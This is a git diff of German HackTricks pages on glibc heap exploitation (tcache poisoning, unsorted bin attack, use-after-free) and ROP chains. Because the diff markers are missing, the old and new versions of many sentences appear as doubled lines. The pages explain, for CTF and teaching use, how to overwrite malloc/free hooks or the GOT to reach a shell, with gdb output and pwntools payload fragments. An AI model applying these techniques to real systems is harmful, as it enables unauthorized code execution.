Der **Tcache-Angriff** (auch bekannt als **Tcache-Vergiftung**), der auf der [**guyinatuxido-Seite**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) vorgeschlagen wurde, ist sehr ähnlich dem Fast-Bin-Angriff, bei dem das Ziel darin besteht, den Zeiger auf den nächsten Chunk im Bin innerhalb eines freigegebenen Chunks auf eine beliebige Adresse zu überschreiben, sodass es später möglich ist, **diese spezifische Adresse zuzuweisen und potenziell Zeiger zu überschreiben**.
Heutzutage erhalten Sie jedoch, wenn Sie den genannten Code ausführen, den Fehler: **`malloc(): unaligned tcache chunk detected`**. Daher ist es notwendig, als Adresse im neuen Zeiger eine ausgerichtete Adresse zu schreiben (oder das Binärprogramm ausreichend oft auszuführen, sodass die geschriebene Adresse tatsächlich ausgerichtet ist).
Heutzutage erhalten Sie jedoch, wenn Sie den genannten Code ausführen, den Fehler: **`malloc(): unaligned tcache chunk detected`**. Daher ist es erforderlich, als Adresse im neuen Zeiger eine ausgerichtete Adresse zu schreiben (oder das Binärprogramm ausreichend oft auszuführen, sodass die geschriebene Adresse tatsächlich ausgerichtet ist).
### Tcache-Indexangriff
### Tcache-Index-Angriff
In der Regel ist es möglich, am Anfang des Heaps einen Chunk zu finden, der die **Anzahl der Chunks pro Index** im Tcache und die Adresse des **Head-Chunks jedes Tcache-Index** enthält. Wenn es aus irgendeinem Grund möglich ist, diese Informationen zu ändern, wäre es möglich, **den Head-Chunk eines Index auf eine gewünschte Adresse** (wie `__malloc_hook`) zeigen zu lassen, um dann einen Chunk der Größe des Index zuzuweisen und den Inhalt von `__malloc_hook` in diesem Fall zu überschreiben.
## Beispiele
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc-Info-Leck**: Es ist möglich, die Tcache zu füllen, einen Chunk in die unsortierte Liste hinzuzufügen, die Tcache zu leeren und **den Chunk aus dem unsortierten Bin erneut zuzuweisen**, wobei nur die ersten 8B überschrieben werden, sodass die **zweite Adresse zu libc aus dem Chunk intakt bleibt, damit wir sie lesen können**.
- **Tcache-Angriff**: Die Binärdatei ist anfällig für einen 1B Heap-Overflow. Dies wird ausgenutzt, um die **Größenüberschrift** eines zugewiesenen Chunks zu ändern und ihn größer zu machen. Dann wird dieser Chunk **freigegeben**, wodurch er zur Tcache von Chunks der gefälschten Größe hinzugefügt wird. Dann werden wir einen Chunk mit der gefälschten Größe zuweisen, und der vorherige Chunk wird **zurückgegeben, wobei bekannt ist, dass dieser Chunk tatsächlich kleiner war**, was die Möglichkeit bietet, **den nächsten Chunk im Speicher zu überschreiben**.\
Wir werden dies ausnutzen, um **den FD-Zeiger des nächsten Chunks** auf **`malloc_hook`** zu zeigen, sodass es möglich ist, 2 Zeiger zuzuweisen: zuerst den legitimen Zeiger, den wir gerade geändert haben, und dann wird die zweite Zuweisung einen Chunk in **`malloc_hook`** zurückgeben, den wir ausnutzen können, um einen **one gadget** zu schreiben.
- **Libc-Info-Leak**: Es ist möglich, die Tcache zu füllen, einen Chunk in die unsortierte Liste hinzuzufügen, den Tcache zu leeren und **den Chunk aus dem unsortierten Bin erneut zuzuweisen**, wobei nur die ersten 8B überschrieben werden, während die **zweite Adresse zu libc aus dem Chunk intakt bleibt, sodass wir sie lesen können**.
- **Tcache-Angriff**: Die Binärdatei ist anfällig für einen 1B Heap-Overflow. Dies wird ausgenutzt, um den **Size-Header** eines zugewiesenen Chunks zu ändern und ihn größer zu machen. Dann wird dieser Chunk **freigegeben**, wodurch er dem Tcache von Chunks der gefälschten Größe hinzugefügt wird. Dann werden wir einen Chunk mit der gefälschten Größe zuweisen, und der vorherige Chunk wird **zurückgegeben, wobei bekannt ist, dass dieser Chunk tatsächlich kleiner war**, was die Möglichkeit bietet, **den nächsten Chunk im Speicher zu überschreiben**.\
Wir werden dies ausnutzen, um den **FD-Zeiger des nächsten Chunks** auf **`malloc_hook`** zu zeigen, sodass es möglich ist, 2 Zeiger zuzuweisen: zuerst den legitimen Zeiger, den wir gerade geändert haben, und dann wird die zweite Zuweisung einen Chunk in **`malloc_hook`** zurückgeben, den wir ausnutzen können, um einen **one gadget** zu schreiben.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc-Info-Leck**: Es gibt eine Verwendung nach der Freigabe und eine doppelte Freigabe. In diesem Bericht hat der Autor eine Adresse von libc geleakt, indem er die Adresse eines Chunks gelesen hat, der in einem kleinen Bin platziert wurde (wie das Leaken aus dem unsortierten Bin, aber aus dem kleinen).
- **Tcache-Angriff**: Ein Tcache wird über eine **doppelte Freigabe** durchgeführt. Der gleiche Chunk wird zweimal freigegeben, sodass der Chunk innerhalb des Tcache auf sich selbst zeigt. Dann wird er zugewiesen, sein FD-Zeiger wird geändert, um auf den **free hook** zu zeigen, und dann wird er erneut zugewiesen, sodass der nächste Chunk in der Liste im Free Hook sein wird. Dann wird auch dieser zugewiesen, und es ist möglich, die Adresse von `system` hier zu schreiben, sodass wir, wenn ein malloc mit `"/bin/sh"` freigegeben wird, eine Shell erhalten.
- **Libc-Info-Leak**: Es gibt eine Verwendung nach der Freigabe und eine doppelte Freigabe. In diesem Bericht hat der Autor eine Adresse von libc geleakt, indem er die Adresse eines Chunks gelesen hat, der in einem kleinen Bin platziert war (ähnlich wie das Leaken aus dem unsortierten Bin, aber aus dem kleinen).
- **Tcache-Angriff**: Ein Tcache wird über eine **doppelte Freigabe** durchgeführt. Der gleiche Chunk wird zweimal freigegeben, sodass der Chunk im Tcache auf sich selbst zeigt. Dann wird er zugewiesen, sein FD-Zeiger wird geändert, um auf den **free hook** zu zeigen, und dann wird er erneut zugewiesen, sodass der nächste Chunk in der Liste im free hook sein wird. Dann wird auch dieser zugewiesen, und es ist möglich, die Adresse von `system` hier zu schreiben, sodass wir, wenn ein malloc mit `"/bin/sh"` freigegeben wird, eine Shell erhalten.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- Die Hauptanfälligkeit hier ist die Fähigkeit, jede Adresse im Heap durch Angabe ihres Offsets zu `free`.
- **Tcache-Indexangriff**: Es ist möglich, einen Chunk einer Größe zuzuweisen und freizugeben, der, wenn er im Tcache-Chunk (dem Chunk mit den Informationen der Tcache-Bins) gespeichert wird, eine **Adresse mit dem Wert 0x100** erzeugt. Dies liegt daran, dass der Tcache die Anzahl der Chunks in jedem Bin in verschiedenen Bytes speichert, sodass ein Chunk in einem bestimmten Index den Wert 0x100 erzeugt.
- **Tcache-Index-Angriff**: Es ist möglich, einen Chunk einer Größe zuzuweisen und freizugeben, der, wenn er im Tcache-Chunk (dem Chunk mit den Informationen zu den Tcache-Bins) gespeichert wird, eine **Adresse mit dem Wert 0x100** erzeugt. Dies liegt daran, dass der Tcache die Anzahl der Chunks in jedem Bin in verschiedenen Bytes speichert, sodass ein Chunk in einem bestimmten Index den Wert 0x100 erzeugt.
- Dann sieht dieser Wert so aus, als gäbe es einen Chunk der Größe 0x100. Dies ermöglicht es, ihn durch `free` dieser Adresse auszunutzen. Dies wird **diese Adresse zum Index der Chunks der Größe 0x100 im Tcache hinzufügen**.
- Dann wird durch **Zuweisen** eines Chunks der Größe **0x100** die vorherige Adresse als Chunk zurückgegeben, was es ermöglicht, andere Tcache-Indizes zu überschreiben.\
Zum Beispiel, indem die Adresse des malloc-Hooks in einen von ihnen gesetzt wird und ein Chunk der Größe dieses Index zugewiesen wird, wird ein Chunk im calloc-Hook gewährt, was das Schreiben eines one gadgets ermöglicht, um eine Shell zu erhalten.
Zum Beispiel, indem die Adresse des malloc hooks in einen von ihnen gesetzt wird und ein Chunk der Größe dieses Index zugewiesen wird, wird ein Chunk im calloc hook gewährt, was das Schreiben eines one gadget ermöglicht, um eine Shell zu erhalten.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Die gleiche Verwundbarkeit wie zuvor mit einer zusätzlichen Einschränkung.
- **Tcache-Indexangriff**: Ähnlicher Angriff wie der vorherige, aber mit weniger Schritten, indem **der Chunk, der die Tcache-Informationen enthält, freigegeben wird**, sodass seine Adresse zum Tcache-Index seiner Größe hinzugefügt wird, sodass es möglich ist, diese Größe zuzuweisen und die Tcache-Chunk-Informationen als Chunk zu erhalten, was es ermöglicht, den Free-Hook als Adresse eines Index hinzuzufügen, ihn zuzuweisen und einen one gadget darauf zu schreiben.
- **Tcache-Index-Angriff**: Ähnlicher Angriff wie der vorherige, aber mit weniger Schritten, indem **der Chunk, der die Tcache-Informationen enthält, freigegeben wird**, sodass seine Adresse zum Tcache-Index seiner Größe hinzugefügt wird, sodass es möglich ist, diese Größe zuzuweisen und die Tcache-Chunk-Informationen als Chunk zu erhalten, was es ermöglicht, den free hook als Adresse eines Index hinzuzufügen, ihn zuzuweisen und einen one gadget darauf zu schreiben.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free**, um eine Zahl zum `fd`-Zeiger hinzuzufügen.
- Eine Menge **Heap Feng-Shui** ist in dieser Herausforderung erforderlich. Der Bericht zeigt, wie **die Kontrolle über den Kopf der Tcache** Freiliste sehr nützlich ist.
- **Glibc-Leck** über `stdout` (FSOP).
- **Glibc-Leak** über `stdout` (FSOP).
- **Tcache-Vergiftung**, um eine beliebige Schreibprimitive zu erhalten.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,42 +12,42 @@ bins-and-memory-allocations.md
Unsortierte Listen können die Adresse zu `unsorted_chunks (av)` in der `bk`-Adresse des Chunks schreiben. Daher, wenn ein Angreifer die **Adresse des `bk`-Zeigers** in einem Chunk innerhalb des unsortierten Bins **modifizieren** kann, könnte er in der Lage sein, **diese Adresse an einer beliebigen Adresse zu schreiben**, was hilfreich sein könnte, um Glibc-Adressen zu leaken oder einige Abwehrmaßnahmen zu umgehen.
Im Grunde genommen erlaubt dieser Angriff, **eine große Zahl an einer beliebigen Adresse zu setzen**. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein könnte. Ein typisches Ziel ist **`global_max_fast`**, um die Erstellung von Fast-Bin-Bins mit größeren Größen zu ermöglichen (und von einem unsortierten Bin-Angriff zu einem Fast-Bin-Angriff überzugehen).
Im Grunde genommen ermöglicht dieser Angriff, **eine große Zahl an einer beliebigen Adresse zu setzen**. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein könnte. Ein typisches Ziel ist **`global_max_fast`**, um die Erstellung von Fast-Bin-Bins mit größeren Größen zu ermöglichen (und von einem unsortierten Bin-Angriff zu einem Fast-Bin-Angriff überzugehen).
> [!TIP]
> Ein Blick auf das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) zeigt, dass **heutzutage** der Fehler **`malloc(): unsorted double linked list corrupted`** ausgelöst wird, wenn man 0x4000 und 0x5000 anstelle von 0x400 und 0x500 als Chunk-Größen verwendet (um Tcache zu vermeiden).
> Ein Blick auf das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) zeigt, dass die Verwendung von 0x4000 und 0x5000 anstelle von 0x400 und 0x500 als Chunk-Größen (um Tcache zu vermeiden) dazu führt, dass der Fehler **`malloc(): unsorted double linked list corrupted`** ausgelöst wird.
>
> Daher erfordert dieser unsortierte Bin-Angriff jetzt (neben anderen Überprüfungen) auch, dass die doppelt verkettete Liste so repariert wird, dass `victim->bk->fd == victim` oder nicht `victim->fd == av (arena)`, was bedeutet, dass die Adresse, an die wir schreiben wollen, die Adresse des gefälschten Chunks in ihrer `fd`-Position haben muss und dass der gefälschte Chunk `fd` auf die Arena zeigt.
> Daher erfordert dieser unsortierte Bin-Angriff jetzt (neben anderen Überprüfungen) auch, dass die doppelt verkettete Liste repariert wird, sodass `victim->bk->fd == victim` oder nicht `victim->fd == av (arena)` umgangen wird, was bedeutet, dass die Adresse, an die wir schreiben wollen, die Adresse des gefälschten Chunks in ihrer `fd`-Position haben muss und dass der gefälschte Chunk `fd` auf die Arena zeigt.
> [!CAUTION]
> Beachten Sie, dass dieser Angriff den unsortierten Bin (und damit auch kleine und große) beschädigt. Daher können wir jetzt nur **Allokationen aus dem Fast Bin verwenden** (ein komplexeres Programm könnte andere Allokationen durchführen und abstürzen), und um dies auszulösen, müssen wir **die gleiche Größe allokieren, sonst wird das Programm abstürzen.**
>
> Beachten Sie, dass das Überschreiben von **`global_max_fast`** in diesem Fall hilfreich sein könnte, da man darauf vertraut, dass der Fast Bin in der Lage sein wird, sich um alle anderen Allokationen zu kümmern, bis der Exploit abgeschlossen ist.
> Beachten Sie, dass das Überschreiben von **`global_max_fast`** in diesem Fall hilfreich sein könnte, da man darauf vertraut, dass der Fast Bin in der Lage ist, sich um alle anderen Allokationen zu kümmern, bis der Exploit abgeschlossen ist.
Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt es sehr gut, obwohl, wenn Sie die Mallocs so ändern, dass sie ausreichend große Speicher allokieren, um nicht in einem Tcache zu enden, Sie sehen können, dass der zuvor erwähnte Fehler auftritt, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt dies sehr gut, obwohl, wenn Sie die Mallocs ändern, um genügend Speicher zu allokieren, sodass sie nicht in einem Tcache enden, Sie sehen können, dass der zuvor erwähnte Fehler auftritt, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Angriff
## Unsorted Bin Infoleak Attack
Dies ist tatsächlich ein sehr grundlegendes Konzept. Die Chunks im unsortierten Bin werden Zeiger haben. Der erste Chunk im unsortierten Bin wird tatsächlich die **`fd`**- und **`bk`**-Links **auf einen Teil der Hauptarena (Glibc)** zeigen.\
Daher, wenn Sie **einen Chunk in einen unsortierten Bin legen und ihn lesen** (use after free) oder **ihn erneut allokieren, ohne mindestens 1 der Zeiger zu überschreiben**, um ihn dann **zu lesen**, können Sie einen **Glibc-Infoleak** erhalten.
Ein ähnlicher [**Angriff, der in diesem Bericht verwendet wurde**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), bestand darin, eine Struktur mit 4 Chunks (A, B, C und D - D dient nur dazu, die Konsolidierung mit dem Top-Chunk zu verhindern) zu missbrauchen, sodass ein Null-Byte-Overflow in B verwendet wurde, um C anzuzeigen, dass B ungenutzt war. Außerdem wurde in B die `prev_size`-Daten so modifiziert, dass die Größe anstelle der Größe von B A+B war.\
Dann wurde C deallokiert und mit A+B konsolidiert (aber B war noch in Benutzung). Ein neuer Chunk der Größe A wurde allokiert und dann wurden die geleakten Adressen der libc in B geschrieben, von wo sie geleakt wurden.
Dann wurde C deallokiert und mit A+B konsolidiert (aber B war weiterhin in Gebrauch). Ein neuer Chunk der Größe A wurde allokiert und dann wurden die geleakten Adressen der libc in B geschrieben, von wo sie geleakt wurden.
## Referenzen & Weitere Beispiele
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- Das Ziel ist es, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, damit es möglich ist, die Flagge zu erhalten und PIE nicht aktiviert ist.
- Das Ziel ist es, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, sodass es möglich ist, die Flagge zu erhalten und PIE nicht aktiviert ist.
- Es ist möglich, Chunks beliebiger Größen zu generieren, und es gibt einen Heap-Overflow mit der gewünschten Größe.
- Der Angriff beginnt mit der Erstellung von 3 Chunks: chunk0, um den Overflow auszunutzen, chunk1, um überflutet zu werden, und chunk2, damit der Top-Chunk die vorherigen nicht konsolidiert.
- Dann wird chunk1 freigegeben und chunk0 wird überflutet, sodass der `bk`-Zeiger von chunk1 auf `bk = magic - 0x10` zeigt.
- Der Angriff beginnt mit der Erstellung von 3 Chunks: chunk0, um den Overflow auszunutzen, chunk1, um überlaufen zu werden, und chunk2, damit der Top-Chunk die vorherigen nicht konsolidiert.
- Dann wird chunk1 freigegeben und chunk0 wird überlaufen, sodass der `bk`-Zeiger von chunk1 auf: `bk = magic - 0x10` zeigt.
- Dann wird chunk3 mit der gleichen Größe wie chunk1 allokiert, was den unsortierten Bin-Angriff auslöst und den Wert der globalen Variable ändert, wodurch es möglich wird, die Flagge zu erhalten.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- Die Merge-Funktion ist anfällig, weil, wenn beide übergebenen Indizes gleich sind, sie darauf realloc und dann freigeben wird, aber einen Zeiger auf diesen freigegebenen Bereich zurückgibt, der verwendet werden kann.
- Die Merge-Funktion ist anfällig, da sie, wenn beide übergebenen Indizes gleich sind, darauf realloc und dann freigibt, aber einen Zeiger auf diesen freigegebenen Bereich zurückgibt, der verwendet werden kann.
- Daher werden **2 Chunks erstellt**: **chunk0**, das mit sich selbst zusammengeführt wird, und chunk1, um die Konsolidierung mit dem Top-Chunk zu verhindern. Dann wird die **Merge-Funktion mit chunk0** zweimal aufgerufen, was zu einem Use-After-Free führt.
- Dann wird die **`view`**-Funktion mit Index 2 (der Index des Use-After-Free-Chunks) aufgerufen, was **eine libc-Adresse leakt**.
- Da die Binärdatei Schutzmaßnahmen hat, um nur Malloc-Größen größer als **`global_max_fast`** zuzulassen, wird ein unsortierter Bin-Angriff verwendet, um die globale Variable `global_max_fast` zu überschreiben.
- Dann ist es möglich, die Edit-Funktion mit Index 2 (dem Use-After-Free-Zeiger) aufzurufen und den `bk`-Zeiger so zu überschreiben, dass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, der die zuvor kompromittierte freigegebene Adresse (0x20) verwendet, was den **unsortierten Bin-Angriff** auslöst, der `global_max_fast` mit einem sehr großen Wert überschreibt, wodurch es jetzt möglich ist, Chunks in Fast Bins zu erstellen.
- Dann ist es möglich, die Edit-Funktion mit Index 2 (dem Use-After-Free-Zeiger) aufzurufen und den `bk`-Zeiger so zu überschreiben, dass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, der die zuvor kompromittierte freigegebene Adresse (0x20) verwendet, was den **unsortierten Bin-Angriff** auslöst, der `global_max_fast` mit einem sehr großen Wert überschreibt, wodurch jetzt Chunks in Fast Bins erstellt werden können.
- Jetzt wird ein **Fast Bin Angriff** durchgeführt:
- Zunächst wird entdeckt, dass es möglich ist, mit Fast **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
@ -58,7 +58,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Wenn es uns gelingt, einen Fast-Chuck der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
- Wenn es uns gelingt, einen Fast Chunk der Größe 0x200 an diesem Ort zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die Merge-Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im Fast Bin erhalten.
- Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses Fast Bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
- Dann wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem Fast Bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen Fast Bin Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
@ -68,6 +68,6 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Wir können nur Chunks mit einer Größe größer als `0x100` allokieren.
- Überschreiben von `global_max_fast` mit einem Unsorted Bin-Angriff (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits modifizieren müssen, aber 16 Bits modifizieren müssen).
- Fast Bin-Angriff zur Modifikation eines globalen Arrays von Chunks. Dies gibt eine beliebige Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
- Fast Bin-Angriff, um ein globales Array von Chunks zu modifizieren. Dies gibt eine beliebige Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Grundinformationen
Wie der Name schon sagt, tritt diese Schwachstelle auf, wenn ein Programm **Speicherplatz** im Heap für ein Objekt **speichert**, dort einige Informationen **schreibt**, es anscheinend **freigibt**, weil es nicht mehr benötigt wird, und dann **darauf wieder zugreift**.
Wie der Name schon sagt, tritt diese Schwachstelle auf, wenn ein Programm **Speicherplatz** im Heap für ein Objekt **speichert**, dort einige Informationen **schreibt**, es anscheinend **freigibt**, weil es nicht mehr benötigt wird, und dann **darauf erneut zugreift**.
Das Problem hierbei ist, dass es nicht illegal ist (es **wird keine Fehler geben**), wenn auf **freigegebenen Speicher zugegriffen wird**. Wenn das Programm (oder der Angreifer) es schafft, den **freigegebenen Speicher zuzuweisen und beliebige Daten zu speichern**, würde beim Zugriff auf den freigegebenen Speicher von dem ursprünglichen Zeiger **die Daten überschrieben worden sein**, was eine **Schwachstelle verursacht, die von der Sensibilität der ursprünglich gespeicherten Daten abhängt** (wenn es sich um einen Zeiger auf eine Funktion handelte, die aufgerufen werden sollte, könnte ein Angreifer die Kontrolle darüber erlangen).
Das Problem hierbei ist, dass es nicht illegal ist (es **wird keine Fehler geben**), wenn auf **freigegebenen Speicher zugegriffen wird**. Wenn das Programm (oder der Angreifer) es schafft, **den freigegebenen Speicher zuzuweisen und beliebige Daten zu speichern**, würde beim Zugriff auf den freigegebenen Speicher von dem ursprünglichen Zeiger **die Daten überschrieben worden sein**, was eine **Schwachstelle verursacht, die von der Sensibilität der ursprünglich gespeicherten Daten abhängt** (wenn es sich um einen Zeiger auf eine Funktion handelte, die aufgerufen werden sollte, könnte ein Angreifer die Kontrolle darüber erlangen).
### First Fit-Angriff
Ein First Fit-Angriff zielt auf die Art und Weise ab, wie einige Speicher-Allocator, wie in glibc, freigegebenen Speicher verwalten. Wenn Sie einen Block Speicher freigeben, wird er einer Liste hinzugefügt, und neue Speicheranforderungen werden von dieser Liste vom Ende abgerufen. Angreifer können dieses Verhalten nutzen, um **zu manipulieren, welche Speicherblöcke wiederverwendet werden, und potenziell die Kontrolle über sie zu erlangen**. Dies kann zu "Use-After-Free"-Problemen führen, bei denen ein Angreifer **den Inhalt des Speichers ändern könnte, der neu zugewiesen wird**, was ein Sicherheitsrisiko darstellt.\
Weitere Informationen finden Sie unter:
Ein First Fit-Angriff zielt auf die Art und Weise ab, wie einige Speicher-Allocator, wie in glibc, freigegebenen Speicher verwalten. Wenn Sie einen Block Speicher freigeben, wird er einer Liste hinzugefügt, und neue Speicheranforderungen werden von dieser Liste vom Ende abgerufen. Angreifer können dieses Verhalten nutzen, um **zu manipulieren, welche Speicherblöcke wiederverwendet werden, und potenziell die Kontrolle über sie zu erlangen**. Dies kann zu "Use-After-Free"-Problemen führen, bei denen ein Angreifer **den Inhalt des Speichers ändern könnte, der erneut zugewiesen wird**, was ein Sicherheitsrisiko darstellt.\
Weitere Informationen finden Sie in:
{{#ref}}
first-fit.md

View File

@ -14,7 +14,7 @@
### Werkzeuge
Typischerweise können Gadgets mit [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) oder direkt aus **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) gefunden werden.
Typischerweise können Gadgets mit [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) oder direkt von **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) gefunden werden.
## ROP-Kette im x86-Beispiel
@ -27,7 +27,7 @@ Typischerweise können Gadgets mit [**ROPgadget**](https://github.com/JonathanSa
Zuerst nehmen wir an, dass wir die notwendigen Gadgets innerhalb des Binärformats oder seiner geladenen Bibliotheken identifiziert haben. Die Gadgets, an denen wir interessiert sind, sind:
- `pop eax; ret`: Dieses Gadget poppt den obersten Wert des Stacks in das `EAX`-Register und gibt dann zurück, wodurch wir `EAX` steuern können.
- `pop eax; ret`: Dieses Gadget poppt den obersten Wert des Stacks in das `EAX`-Register und gibt dann zurück, wodurch wir `EAX` kontrollieren können.
- `pop ebx; ret`: Ähnlich wie das obige, aber für das `EBX`-Register, was die Kontrolle über `EBX` ermöglicht.
- `mov [ebx], eax; ret`: Bewegt den Wert in `EAX` an die Speicheradresse, auf die `EBX` zeigt, und gibt dann zurück. Dies wird oft als **write-what-where gadget** bezeichnet.
- Darüber hinaus haben wir die Adresse der `system()`-Funktion verfügbar.
@ -73,7 +73,7 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## ROP-Kette im x64 Beispiel
## ROP-Kette in x64 Beispiel
### **x64 (64-Bit) Aufrufkonventionen**
@ -83,12 +83,12 @@ p.interactive()
#### **Gadgets Finden**
Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register (um den **"/bin/sh"** String als Argument an **system()** zu übergeben) zu setzen und dann die **system()** Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das **RDI**-Register (um den **"/bin/sh"**-String als Argument an **system()** zu übergeben) zu setzen und dann die **system()**-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
- **pop rdi; ret**: Poppt den obersten Wert des Stacks in **RDI** und gibt dann zurück. Essentiell für das Setzen unseres Arguments für **system()**.
- **ret**: Ein einfacher Rückgabewert, nützlich für die Stack-Ausrichtung in einigen Szenarien.
Und wir kennen die Adresse der **system()** Funktion.
Und wir kennen die Adresse der **system()**-Funktion.
### **ROP-Kette**
@ -131,11 +131,11 @@ In diesem Beispiel:
- Wir nutzen das **`pop rdi; ret`** Gadget, um **`RDI`** auf die Adresse von **`"/bin/sh"`** zu setzen.
- Wir springen direkt zu **`system()`**, nachdem wir **`RDI`** gesetzt haben, mit der Adresse von **system()** in der Kette.
- **`ret_gadget`** wird zur Ausrichtung verwendet, falls die Zielumgebung dies erfordert, was in **x64** häufiger vorkommt, um eine ordnungsgemäße Stack-Ausrichtung vor dem Aufruf von Funktionen sicherzustellen.
- **`ret_gadget`** wird zur Ausrichtung verwendet, falls die Zielumgebung dies erfordert, was in **x64** häufiger vorkommt, um eine ordnungsgemäße Stapelausrichtung vor dem Aufruf von Funktionen sicherzustellen.
### Stack-Ausrichtung
### Stapelausrichtung
**Die x86-64 ABI** stellt sicher, dass der **Stack 16-Byte ausgerichtet** ist, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Optimierung der Leistung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht richtig ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret gadget** hinzu, bevor Sie **system** in Ihrer ROP-Kette aufrufen.
**Die x86-64 ABI** stellt sicher, dass der **Stack 16-Byte ausgerichtet** ist, wenn eine **call-Anweisung** ausgeführt wird. **LIBC** verwendet zur Optimierung der Leistung **SSE-Anweisungen** (wie **movaps**), die diese Ausrichtung erfordern. Wenn der Stack nicht richtig ausgerichtet ist (was bedeutet, dass **RSP** kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie **system** in einer **ROP-Kette** fehl. Um dies zu beheben, fügen Sie einfach ein **ret gadget** vor dem Aufruf von **system** in Ihrer ROP-Kette hinzu.
## Hauptunterschied zwischen x86 und x64
@ -156,7 +156,7 @@ In diesem Beispiel:
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Diese Schutzmaßnahmen erschweren die Verwendung von ROP, da sich die Adressen der Gadgets zwischen den Ausführungen ändern.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Im Falle eines BOF ist es notwendig, die gespeicherten Stack-Canaries zu umgehen, um Rückgabepunkte zu überschreiben und eine ROP-Kette auszunutzen.
